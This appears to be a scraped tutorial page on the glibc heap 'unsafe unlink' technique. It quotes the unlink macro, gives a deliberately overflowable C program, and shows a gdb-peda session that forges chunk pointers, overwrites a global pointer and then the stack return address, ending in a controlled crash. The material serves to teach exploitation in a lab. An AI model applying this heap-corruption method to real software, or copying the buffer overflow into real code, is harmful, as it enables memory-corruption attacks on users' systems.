Excuse the ads! We need some help to keep our site up.

List

Conditions

Exploit plan

FD->bk != P || BK->fd != P

chunksize(P) != prev_size (next_chunk(P)

/* Take a chunk off a bin list */
#define unlink(AV, P, BK, FD) {                                            \
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr (check_action, "corrupted size vs. prev_size", P, AV);  \
    FD = P->fd;								      \
    BK = P->bk;								      \
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {								      \
        FD->bk = BK;							      \
        BK->fd = FD;							      \
        if (!in_smallbin_range (chunksize_nomask (P))			      \
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {		      \
	    if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)	      \
		|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
	      malloc_printerr (check_action,				      \
			       "corrupted double-linked list (not small)",    \
			       P, AV);					      \
            if (FD->fd_nextsize == NULL) {				      \
                if (P->fd_nextsize == P)				      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;		      \
                else {							      \
                    FD->fd_nextsize = P->fd_nextsize;			      \
                    FD->bk_nextsize = P->bk_nextsize;			      \
                    P->fd_nextsize->bk_nextsize = FD;			      \
                    P->bk_nextsize->fd_nextsize = FD;			      \
                  }							      \
              } else {							      \
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;		      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;		      \
              }								      \
          }								      \
      }									      \
}

Example

Files

Source code

#include <stdio.h>
#include <stdlib.h>

char *buf1;

void main(){
	buf1 = malloc(0x80);
        printf("buf1 : %p\n",&buf1);

	char *buf2 = malloc(0x80);
	scanf("%144s",buf1);

	free(buf2);
	
	scanf("%32s",buf1);
	scanf("%128s",buf1);
}

Exploit flow

Debugging

gdb-peda$ b *0x000000000040067c
Breakpoint 1 at 0x40067c
gdb-peda$ b *0x0000000000400688
Breakpoint 2 at 0x400688
gdb-peda$ b *0x00000000004006a1
Breakpoint 3 at 0x4006a1
gdb-peda$ b *0x00000000004006ba
Breakpoint 4 at 0x4006ba
gdb-peda$ 
gdb-peda$ r
Starting program: /home/lazenca0x0/Documents/def/unsafe 
buf1 : 0x601060
Breakpoint 1, 0x000000000040067c in main ()
gdb-peda$ x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000000000	0x0000000000000000
0x602030:	0x0000000000000000	0x0000000000000000
0x602040:	0x0000000000000000	0x0000000000000000
0x602050:	0x0000000000000000	0x0000000000000000
0x602060:	0x0000000000000000	0x0000000000000000
0x602070:	0x0000000000000000	0x0000000000000000
0x602080:	0x0000000000000000	0x0000000000000000
0x602090:	0x0000000000000000	0x0000000000000091
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ ni
AAAAAAAAAAAAAAAABBBBBBBBBBBBBBBBCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCDDDDDDDDDDDDDDDD
0x0000000000400681 in main ()
gdb-peda$ x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x4141414141414141	0x4141414141414141
0x602020:	0x4242424242424242	0x4242424242424242
0x602030:	0x4343434343434343	0x4343434343434343
0x602040:	0x4343434343434343	0x4343434343434343
0x602050:	0x4343434343434343	0x4343434343434343
0x602060:	0x4343434343434343	0x4343434343434343
0x602070:	0x4343434343434343	0x4343434343434343
0x602080:	0x4343434343434343	0x4343434343434343
0x602090:	0x4444444444444444	0x4444444444444444
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
gdb-peda$ set *0x602010 = 0x0
gdb-peda$ set *0x602014 = 0x0
gdb-peda$ set *0x602018 = 0x0
gdb-peda$ set *0x60201c = 0x0
gdb-peda$ set *0x602020 = 0x601060 - 0x18
gdb-peda$ set *0x602024 = 0x0
gdb-peda$ set *0x602028 = 0x601060 - 0x10
gdb-peda$ set *0x60202c = 0x0
gdb-peda$ set *0x602090 = 0x80
gdb-peda$ set *0x602094 = 0x0
gdb-peda$ set *0x602098 = 0x90
gdb-peda$ set *0x60209c = 0x0
gdb-peda$ x/40gx 0x602000
0x602000:	0x0000000000000000	0x0000000000000091
0x602010:	0x0000000000000000	0x0000000000000000
0x602020:	0x0000000000601048	0x0000000000601050
0x602030:	0x4343434343434343	0x4343434343434343
0x602040:	0x4343434343434343	0x4343434343434343
0x602050:	0x4343434343434343	0x4343434343434343
0x602060:	0x4343434343434343	0x4343434343434343
0x602070:	0x4343434343434343	0x4343434343434343
0x602080:	0x4343434343434343	0x4343434343434343
0x602090:	0x0000000000000080	0x0000000000000090
0x6020a0:	0x0000000000000000	0x0000000000000000
0x6020b0:	0x0000000000000000	0x0000000000000000
0x6020c0:	0x0000000000000000	0x0000000000000000
0x6020d0:	0x0000000000000000	0x0000000000000000
0x6020e0:	0x0000000000000000	0x0000000000000000
0x6020f0:	0x0000000000000000	0x0000000000000000
0x602100:	0x0000000000000000	0x0000000000000000
0x602110:	0x0000000000000000	0x0000000000000000
0x602120:	0x0000000000000000	0x0000000000020ee1
0x602130:	0x0000000000000000	0x0000000000000000
gdb-peda$ 
gdb-peda$ c

Breakpoint 2, 0x0000000000400688 in main ()
gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x0000000000602010

gdb-peda$ ni
0x000000000040068d in main ()
gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x0000000000601048
gdb-peda$ 
gdb-peda$ c
Breakpoint 3, 0x00000000004006a1 in main ()
gdb-peda$ i r rsi
rsi            0x601048	0x601048
gdb-peda$ ni
AAAAAAAAAAAAAAAABBBBBBBBCCCCCCCC

gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x4343434343434343
gdb-peda$ i r rsp
rsp            0x7fffffffe180	0x7fffffffe180
gdb-peda$ set *0x601060 = 0x7fffffffe180
gdb-peda$ set *0x601064 = 0x7fff
gdb-peda$ x/gx 0x601060
0x601060 <buf1>:	0x00007fffffffe180
gdb-peda$
gdb-peda$ c
Breakpoint 4, 0x00000000004006ba in main ()
gdb-peda$ i r rsp
rsp            0x7fffffffe180	0x7fffffffe180
gdb-peda$ ni
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA

0x00000000004006bf in main ()
gdb-peda$ c
Continuing.

Program received signal SIGSEGV, Segmentation fault.
Stopped reason: SIGSEGV
0x00000000004006c0 in main ()
gdb-peda$ bt
#0  0x00000000004006c0 in main ()
#1  0x4141414141414141 in ?? ()
#2  0x4141414141414141 in ?? ()
#3  0x4141414141414141 in ?? ()
#4  0x4141414141414141 in ?? ()
#5  0x4141414141414141 in ?? ()
#6  0x4141414141414141 in ?? ()
#7  0x4141414141414141 in ?? ()
#8  0x4141414141414141 in ?? ()
#9  0x4141414141414141 in ?? ()
#10 0x4141414141414141 in ?? ()
#11 0x4141414141414141 in ?? ()
#12 0x4141414141414141 in ?? ()
#13 0x4141414141414141 in ?? ()
#14 0x0000000000000000 in ?? ()
gdb-peda$

Related information